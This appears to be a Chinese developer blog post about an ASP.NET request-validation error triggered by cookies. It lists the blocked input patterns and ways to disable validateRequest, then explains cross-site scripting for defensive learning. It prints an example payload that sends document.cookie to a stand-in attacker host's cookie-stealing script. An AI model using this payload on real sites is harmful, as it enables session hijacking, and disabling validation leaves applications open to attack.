ASP.NET中的potentially dangerous Request.Cookies value问题 及 什么是 cross-site scripting
Posted on 2010-05-28 15:48 szh114 阅读(913) 评论(0) 编辑 收藏 举报今天我打开以前的一个PROJECT来,然后在浏览器中看页面显示情况的时候-----打不开了!!!!
浏览器报错:
Exception Details: System.Web.HttpRequestValidationException: A potentially dangerous Request.
Cookies value was detected from the client (RMOVStore_Name="Rui Venâ").
报错的代码行是:HttpCookie cookie = Request.Cookies["test"];可是我什么都没做呀,这个项目好久没改过了我记得最后一次是可以正常运行的。
恰恰是刚开始生成,使用COOKIE的时候,然后我给COOKIE换了个名字,改成:
HttpCookie cookie = Request.Cookies["test222"]; 还是不行。
然后我上网搜,发现大家都有这个问题,并且只有一个解决贴,转来转去全是那个。。。汗
就是讲:
正如您所知的那样,这是一个设计用来防止用 HTML 表单提交脚本的安全功能。虽然基本的 64 个字符在 cookie 值中没有一个是无效的,
但是有一些组合却不能接受,包括:
• |
<{a-z} |
• |
<! |
• |
expression( |
• |
on{a-z}*= |
• |
&# |
• |
script{space}*。 |
如果引发了 HttpRequestValidationException 异常,则解决这一问题的唯一方法就是禁止使用这些 cookie 来请求页面验证。
然而,如果您禁止请求验证,则您自己必须对从用户接收到的任何输入执行验证,这一点非常重要。
在 ASP.NET 1.1 中引入的请求验证功能被设计为抵御跨站点脚本攻击的第一道防线。没有此类验证,您的应用程序就很容易遭受此类攻击。
简单解决方法:(禁用validateRequest)
由于在.net中,Request时出现有HTML或Javascript等字符串时,系统会认为是危险性值。立马报错。
解决方案一:
在.aspx文件头中加入这句:
<%@ Page validateRequest="false" %>
解决方案二:
修改web.config文件:
<configuration>
<system.web>
<pages validateRequest="false" />
</system.web>
</configuration>
因为validateRequest默认值为true。只要设为false即可。
但是我试了加PAGE指令的方法不行,我也没去改web.config我想人家既然默认为true,这又是个验证检查,贸然改成false,好像不太好。于是我用了蛮力,
把COOKIES文件夹下面的所有cookie都直接手动删除了,然后重新打开网站,OK,正常了。
但同时也接触到一个概念叫:cross-site scripting。这倒底系虾米东西捏?WIKI了一下,发现这跟SQL注入其实是差不多的一种恶意攻击网站的方法。
只查到了这些中文资料,粘在这儿以后备查:
错误等级:
严重(High)
风险:
可以偷盗或者操作用户Session和Cookie,这样攻击者可以扮演一个合法的客户进行操作。
技术说明:
Cross-Site Scripting是一种秘密攻击行为,它能使得攻击者获得合法客户的身份和特定的服务器进行交互。攻击者利用这样一个事实:
网站未对用户在页面中输入的JavaScript(通常是作为参数值)进行清洗(消毒)。这样,当在返回信息中包含这段JavaScript代码,
这段代码就会在客户端的Browser中执行。
这样可能形成一个指向带有恶意代码的网站链接。这串代码在这个站点环境中就会执行,收集可以获取的这个站点或者正在浏览这个网站的其他窗口的cookie,
攻击者会做进一步处理:攻击者会诱使用户点击这个由攻击者生成的链接。如果用户点了这个链接,将会向包含恶意代码作为参数的网站发起一个请求。
如果这个网站将这串参数值(恶意代码)嵌入在返回中,恶意代码将在客户端的浏览器中执行:
恶意代码可能会做:
1. 将用户的cookie发送给攻击者
2. 将能够通过Dom(URLs, Form field 。。。)取到的信息发送给攻击者
结果是客户的安全性受到了威胁。
一些注释:
1. 虽然攻击者的Web Site也被卷入,但是并没有直接包含进来。攻击者通过采用“jump station”方式将返回客户,
好像是合法的(It is used as a 'jump station' for the malicious script sent by the attacker, to return to the victim's browser, as if it is legitimate.)。
无论如何,由于用户是在使用这个特定的网站,而且是这个网站的直接返回,因此可以认为是这个网站的安全漏洞。
2. 这个怀有恶意的链接由攻击者生成,可以包含在攻击者自己维护的网站中。这个链接攻击者也可以通过发送email的方式发送给受害人。
3. 由于用户输入是作为form的字段值,可以知道这串恶意代码从什么地方来的,
4. 各种浏览器实现的不一样,有时候在这种浏览器上没有问题,但是换一种浏览器就会有问题。
攻击方法:
写一个链接: 参数值为:
<SCRIPT>
document.location= 'http://attackerhost.example/cgi-bin/cookiesteal.cgi?+document.cookie
</SCRIPT>
这样,当服务器返回时,上面这串脚本将自动执行,将本地的Cookie发现指定的URL,用户资料泄露了。
解决方式: 加强对参数的校验: 一定要做,大量的漏洞都是针对参数未作校验引出很多攻击手法(会有如何检查参数的单独说明)
然后在MSDN中还有这样的文章:How to prevent cross-site scripting in ASP.NET(http://msdn.microsoft.com/en-us/library/ff649310.aspx)
讲解得很专业详细!